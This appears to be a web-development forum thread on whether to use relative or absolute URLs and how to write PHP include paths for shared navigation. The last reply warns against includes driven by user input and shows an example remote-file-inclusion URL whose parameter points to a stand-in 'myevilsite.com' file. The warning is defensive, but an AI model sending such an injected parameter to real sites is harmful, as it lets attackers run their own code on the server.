Relative vs. absolute URLs

  • Thread starter Kyle James Matthews
  • Start date
K

Kyle James Matthews

Does it make a difference in terms of loading time, browser caching, etc. to
use absolute vs. relative URLs and image file names? I am using a PHP
include to put my main navigation on many pages in many different folders,
and to do so I am forced to define pages within my site as well as images
absolutely (i.e. http://...). Unless there is another solution I am not
aware of.

Standard disclaimer: sorry if I missed anything while googling, relevant
URLs appreciated, etc. etc.

Kyle
 
L

Lauri Raittila

Kyle said:
Does it make a difference in terms of loading time, browser caching, etc. to
use absolute vs. relative URLs and image file names?

No, exept that absolute urls tend to be longer, ie. loading slower. If
you had 300baud modem, you might notice difference.
I am using a PHP
include to put my main navigation on many pages in many different folders,
and to do so I am forced to define pages within my site as well as images
absolutely (i.e. http://...). Unless there is another solution I am not
aware of.

There is. PHP is programming language, of course you can program
something to do make them relative. I don't think it is worth hasle
trough. Anyway, why not make them relative to domain root
(/foo.bar = http://foo.example/foo.bar when used in foo.example)
 
J

Jeff Thies

Anyway, why not make them relative to domain root
(/foo.bar = http://foo.example/foo.bar when used in foo.example)

Usually that's refered to as an absolute path.

Absolute paths work well when you don't know what directory you may be in
(or don't care).

It's a matter of the site architecture, personal style and whether you need
to view these locally or in a different environment whether to use relative
or absolute paths.

Jeff
 
J

j

Does it make a difference in terms of loading time, browser caching, etc. to
use absolute vs. relative URLs and image file names? I am using a PHP
include to put my main navigation on many pages in many different folders,
and to do so I am forced to define pages within my site as well as images
absolutely (i.e. http://...). Unless there is another solution I am not
aware of.

Standard disclaimer: sorry if I missed anything while googling, relevant
URLs appreciated, etc. etc.

are you saying you are doing an include like:
<?php
include "http://www.yoursite.com/includes/filetoinclude.php" ;
?>

You don't need to do that. If you have lots of pages with the same
include just do it as a full path:

/yourhomedirectory/yourhtmlfiles/yourincludes/filetoinclude.php

If i recall sometimes you might need something like
[SERVER_document_root] first (note that is _not_ correct syntax for
that)

Anyway you don't have to make an external request to your own website
which is what you would be doing in the first example.

You can also use relative URLs like ../ or
.../myincludes/filetoinclude.php but they can be a pain in the ass if
you have a lot of different files all over the place who's path to the
include will be different

If you are doing includes based on user input make sure you check what
people are including first and make a very tight set of criteria that
it must pass

otherwise:

http://www.yoursite.com/yourfile.php?include=http://www.myevilsite.com/m
yevilfile.php

regards
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

Forum statistics

Threads
473,744
Messages
2,569,483
Members
44,901
Latest member
Noble71S45

Latest Threads

Top